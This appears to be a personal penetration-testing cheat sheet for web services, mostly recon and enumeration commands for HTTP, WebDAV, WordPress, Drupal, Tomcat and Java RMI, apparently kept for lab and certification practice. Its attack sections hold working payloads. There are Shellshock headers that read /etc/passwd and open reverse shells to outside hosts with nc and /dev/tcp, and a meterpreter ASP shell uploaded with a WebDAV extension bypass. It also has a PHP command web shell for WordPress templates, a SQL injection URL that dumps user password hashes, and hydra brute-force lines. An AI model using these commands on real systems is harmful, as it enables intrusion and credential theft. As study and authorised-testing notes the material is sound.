HTTP

HTTP[s]

YouTube

https://www.youtube.com/watch?v=oy9Ya7NxDUQ&list=PLZOToVAK85MotwF1p0jpwFGVF_i-QMNp0

HTTP Status Codes

https://www.restapitutorial.com/httpstatuscodes.html https://en.wikipedia.org/wiki/List_of_HTTP_status_codes

Things to be on look for: Default credentials for software Look into source code or SVN where version info is stored (HTB Writeup)

Request

http request

Response

http response

In Burp in the repeater tab create your own request

GET / HTTP/1.0
Host: www.yourtarget.com
2 empty lines

Netcat

nc 192.168.102.136 80
HEAD / HTTP/1.0
<enter><enter>

Basics

https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html - section 14.1

GET / HTTP/1.1
Encoding: Asci, Unicode, ISO
HTML encoding &lt;  URL encoding %20
client-side=cookies, server-side=sessions
https://www.w3schools.com/tags/ref_urlencode.asp

character set
character encoding [representation, in bytes, of the symbols in a character set
Unicode uses: UTF-8, 16 and 32

Same Origin Policy

Prevents a script from setting properties of another document comming from a different origin a document can access (through JavaScript) the properties of another document only if they have the same origin

Cookies

https://www.youtube.com/watch?v=mEbmturLljU&list=PLZOToVAK85MoBlJKFWznA4EhU--P9X8V7

Set-Cookie HTTP header field can only be set for domain path = path within domain eg /downloads. Will not send cookies for /blog or /members HttpOnly flag = used to force to send cookie only through HTTP prevents cookie being read via JavaScript, Flash etc. XSS protection Secure flag = forces browser to send cookie only through HTTPS

Sessions [ store information on the server site]

session token or session id PHPSESSID=13Kn5Z6U04pH

HTTP METHODS

https://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/ find out: get, head, post,delete etc etc nc 10.11.1.8 80 -> OPTIONS / HTTP/1.1 -> Host: bob.thinc.local -> enter enter

Subdomains

https://censys.io/certificates?q=.gamma.nl&page=2 https://github.com/ehsahil/recon-my-way/tree/master/aquatone

Gobuster

gobuster -m dns -u gamma.nl -w /usr/share/seclists/Discovery/DNS/namelist.txt -t 20` Gobuster also has a -m dns mode for finding subdomains

Wfuzz wfuzz -w wordlist -u gamma.nl - H "host:FUZZ.gamma.nl" --hc 403 wfuzz -H 'Host: FUZZ.redcross.htb' -u https://10.10.10.113 -w /usr/share/seclists/Discovery/DNS/subs-subdomain.txt --hw 28 site:.microsoft.com -site:www.microsoft.com

Netcraft subdomain finder https://searchdns.netcraft.com

SubFinder

a subdomain discovery tool that discovers valid subdomains for websites by using passive online sources ./subfinder -d freelancer.com -o output.txt ./subfinder -d example.com -b -w /opt/SecLists.... -t 20

nmap -p 80 --script dns-brute.nse domain.com python dnscan.py -d domain.com -w ./subdomains-10000.txt

Virtual host

[multiple website share the same server/IP address]

Directories

[add words found on site to list]

cewl and then append to list for gobuster ?

dirb http://192.168.1.11 /usr/share/wordlists/dirb/small.txt -x /usr/share/wordlists/dirb/extensions_common.txt -vv dirb http://10.10.10.78 /usr/share/wordlists/dirb/small.txt -X .sh, .php -o dirboutput.txt gobuster -w /usr/share/wordlists/dirb/common.txt -x php,pl,sh,txt -u http://10.10.10.27 -s 200,204,301,302,307,403 -t 25 -e

See reconscan dirb lists used !!

gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt
gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/common.txt
gobuster dir -u 10.10.10.16 -x php -w /usr/share/wordlists/dirb/common.txt -t 20

dirsearch.py -u 10.10.10.68 -e php -w /usr/share/wordlists/dirb/common.txt -t 20 -r --suppress-empty
dirsearch.py -u 192.168.100.121 -e php,html -w /usr/share/wordlists/dirb/common.txt -t 25 -r -f --suppress-empty --exclude-subdir=.hta,index.php,icons,index

File extensions

bak, bac, old, 000, ~, 01, _bak, 001, inc, Xxx, php, cgi, txt, asp /usr/share/wordlists/dirb/mutations_common.txt /usr/share/seclists/Discovery/Web-Content/

gobuster -x dirbuster with file extensions

Proxy like squid [3128]

https://security.stackexchange.com/questions/120708/nmap-through-proxy to go to only local accessible ports like 3306

proxychains4.conf [socks4/5 or http] -> proxychains nmap -sT 192.168.56.3 -p 80 Sometimes use 127.0.0.1 as destination host nmap --proxy http://192.168.100.163 -n -Pn -sV 127.0.0.1

Perform a nikto scan against target nikto -host http://10.11.1.44:8000 Through a Proxy like Squid nikto -h 192.168.100.163 --useproxy http://192.168.100.163:3128

Enumeration

  • perl /opt/nikto/program/nikto.pl -host http://10.11.1.44:8000

  • whatweb -v http://{ip} --color=never --no-errors

  • OWASP Zaproxy

  • nmap --script http-enum

  • Zap proxy active scan

  • skipfish -Y -L -W- -m [10] -o output.txt http://192.168.100.139

--script="http-waf-detect,http-vhosts,http-robtex*,http-methods,http-enum"
python nettacker.py -i 192.168.100.121 -m all
nmap {nmap_extra} -sV -p {port} --script="(http* or ssl*) and not (broadcast or dos or external or http-slowloris* or fuzzer or brute)"

nmap','-n','-sV','-Pn','-vv','-p',port,'--script','banner,http-apache-negotiation,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-backup-finder,http-bigip-cookie,http-cakephp-version,http-cisco-anyconnect,http-comments-displayer,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-default-accounts,http-drupal-enum,http-favicon,http-generator,http-git,http-grep,http-headers,http-jsonp-detection,http-ls,http-mcmp,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-passwd,http-php-version,http-robots.txt,http-title,http-traceroute,http-unsafe-output-escaping,http-useragent-tester,http-userdir-enum,http-vhosts,http-vlcstreamer-ls,http-waf-detect,http-waf-fingerprint,http-webdav-scan','--script-args', "http.useragent=%s,http-waf-detect.aggro,http-waf-detect.detectBodyChanges,http-waf-fingerprint.intensive=1" % userAgent,'-oA','/root/scripts/recon_enum/results/exam/http/%s_%s_http' % (ip_address, port),ip_address])

curl -i 10.11.1.71
curl -sSik {scheme}://{address}:{port}/robots.txt -m 10
curl -sSik {scheme}://{address}:{port}/ -m 10 | grep Powered by
whatweb --color=never --no-errors -a 3 -v {scheme}://{address}:{port}

[+] WebDAV

https://medium.com/@d0nut/week-8-exploitation-36c761572c83

wampp:xampp default credentials http-iis-webdav-vuln.nse script [manual] cadaver 192.168.100.138

test what file extensions are allowed to be uploaded [manual] davtest -url http://foobar:80

Hashcat MD5 Apache webdav file

hashcat -m 1600 -a 0 hash.txt rockyou.txt

Upload shell to Vulnerable WebDAV directory, To attempt to bypass file type restriction upload: To see what options are allowed you can use use auxiliary/scanner/http/options If PUT method is allowed you probably can upload web .asp shell. In my case .asp file upload was forbidden and only .txt and .html were allowed. In such situation we should upload file.txt and then to copy it as file.asp;.txt

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.20 LPORT=4444 R | msfencode -t asp -o shell.asp

cadaver http://192.168.0.60/
put shell.asp shell.txt
copy shell.txt shell.asp;.txt
Start reverse handler - browse to http://192.168.0.60/shell.asp;.txt

Other

Robots.txt Visit all URLs from robots.txt. curl -s http://192.168.56.102/robots.txt | grep Disallow | sed 's/Disallow: //' curl -i ${IP}/robots.txt

Ippsec 10.10.10.10/~root index.html or index.php or default.aspx

.htaccess

Make browser appear as a search engine curl -A "'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')" 10.11.1.39/robots.txt

Targeting cgi-directories

gobuster dir -u http://10.11.1.71/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -e -l

Shellshock port 80

CVE-2014-6271 https://cdn.members.elearnsecurity.com/ptp_v5/section_4/module_3/html/index.html env x=‘() { :;}; echo vulnerable’ bash -c “echo this is a test” ./dirsearch.py -u http://192.168.13.29/ -e cgi -r

nmap --script http-shellshock --script-args uri=/cgi-bin/login.cgi 192.168.13.29 -p 80 nmap 10.11.1.71 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/test.cgi --script-args uri=/cgi-bin/admin.cgi ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose ssh -i noob noob@$ip '() { :;}; /bin/bash'

wget -U "() { foo;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.13.29/cgi-bin/login.cgi && cat login.cgi wget -U "() { foo;};echo; /bin/nc 192.168.13.18 1234 -e /bin/sh" http://192.168.13.29/cgi-bin/login.cgi wget -U "() { foo;};echo; /bin/nc 192.168.13.18 1234 -e /bin/sh" http://192.168.13.29/cgi-bin/login.cgi

wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" -e use_proxy=yes -e http_proxy=192.168.57.101:3128 http://127.0.0.1/cgi-bin/status

curl -v --proxy 192.168.56.106:3128 http://192.168.56.106/cgi-bin/status -H "Referer: () { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id; exit" curl -v --proxy 192.168.56.106:3128 http://192.168.56.106/cgi-bin/status -H "Referer: () { test;}; echo 'Content-Type: text/plain'; echo; echo; /bin/bash -i >& /dev/tcp/192.168.56.102/4445 0>&1"

Reverse shell curl -H "User-Agent: () { :; }; /bin/bash -c 'echo aaaa; bash -i >& /dev/tcp/10.11.0.192/443 0>&1; echo zzzz;'" http://10.11.1.71/cgi-bin/admin.cgi -s | sed -n '/aaaa/{:a;n;/zzzz/b;p;ba}'

HTTP bruteforce (forms)

hydra -l admin -P /root/ctf_wordlist.txt domain.com http-post-form "/admin.php:u=^USER^&p=^PASS^&f=login:'Enter your username and password to continue'" -V

HTTPS - 443

Heartbleed / CRIME / Other similar attacks Read the actual SSL CERT to:find out potential correct vhost to GET is the clock skewed any names that could be usernames for bruteforce/guessing.

Module used to dump encrypted memory contents from an ssl host. msf > auxiliary/scanner/ssl/openssl_heartbleed

Heartbleed port-443

OpenSSL versions 1.0.1 through 1.0.1f nmap --script ssl-heartbleed 192.168.13.58 -p 443 -sV msf > use auxiliary/scanner/ssl/openssl_heartbleed msf > auxiliary(scanner/ssl/openssl_heartbleed) -> show actions set action DUMP strings <downloaded file>

SSL certificate testing https://www.ssllabs.com/ssltest/analyze.html sslscan --show-certificate --no-colour {address}:{port} sslyze --regular --certinfo=full %s:%s > %s/%s_%s_sslyze" % (ip_address, port, BASE, ip_address, port)

TLS & SSL Testing ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html

Content Management System

Wordpress, Joomla, Drupal

Drupal

droopescan scan drupal -u http://IP_ADDR:PORT cmsmap -f D http://10.11.1.49

Drupal bruteforce attack

crack the password of admin

site="192.168.230.147" id=$(curl -s http://$site/user/|grep "form_build_id" |cut -d"\"" -f6)

Joomla

index.php?option=%component_name%&task=%task_value%

WordPress

https://www.hackingarticles.in/wordpress-penetration-testing-using-wpscan-metasploit/ https://github.com/wetw0rk/malicious-wordpress-plugin

Shell

  • plugin

  • adapt 404 page with msfvenom shell or php-reverse-shell

  • put <?php system($_GET['cmd']); ?> in main template

t=themes, p=plugins, u=users wpscan --url http://IP_ADDR --enumerate u,p,t --force --wp-content-dir wp-content wpscan --url http://192.168.56.101/wordpress --passwords /usr/share/wordlists/fasttrack.txt --usernames username -t 25

-Use custom content directory ... wpscan -u www.example.com --wp-content-dir custom-content

WordPress Scan - WordPress security scanner wpscan --url $ip/blog --proxy $ip:3129

Passwords /wp-content/plugins/wp-forum/feed.php?topic=-4381+union+select+group_concat%28user_login,0x3a,user_pass%29+from+wp_users%23

hydra -L fsocietyuniq -p test 192.168.90.4 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
hydra -l admin -P /usr/share/wordlists/rockyou.txt  10.11.1.251 http-post-form '/wp/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Incorrect password'
hydra -l root@localhost -P /usr/share/wordlists/dirb/big.txt 10.11.1.39 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=-120&User=^USER^&Password=^PASS^:F=Login failed"

wpscan --url 10.11.1.251/wp --wordlist /root/Documents/oscp/files/rockyou.txt --username sean threads 50

Brute force Wordpress (PHPASS)

cudahashcat64.exe -m 400 -a 3 hashfile wordlist

Apache Tomcat

https://charlesreid1.com/wiki/Metasploitable/Apache/Tomcat_and_Coyote https://pentestlab.blog/2012/08/26/using-metasploit-to-create-a-war-backdoor/

Apache Tomcat - Manager port 8180 default credentials msf > use auxiliary/scanner/http/tomcat_mgr_login Then deploy a reverse shell JSP shell is located in: /usr/share/laudanum/

/usr/share/wordlists/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt hydra -C default_accounts.txt ftp://localhost

[8009,Apache Jserve]

nmap','-n','-sV','-Pn','-vv','-p',port,'--script','banner,ajp-auth,ajp-headers,ajp-methods,ajp-request,vulners','--script-args', "http.useragent=%s" % userAgent,'-oA','/root/scripts/recon_enum/results/exam/http/%s_%s_jserve' % (ip_address, port),ip_address]

Java RMI Registry port 1099

nmap -sT 192.168.13.29 -p 1099 -sV msf -> /exploit/multi/misc/java_rmi_server nmap -sV -p {port} --script="rmi-vuln-classloader,rmi-dumpregistry" {ip}

Java Deserialization

(Jboss, WebLogic, WebSphere, Jenkins)

https://www.owasp.org/index.php/Deserialization_of_untrusted_data https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ serialization itself is a process which allows for applications to convert data into a binary format, which is suitable for saving to disk. Deserialization is other way around. /usr/share/laudanum/ for shells

nmap -p 1100 --script=rmi-vuln-classloader 10.11.1.73

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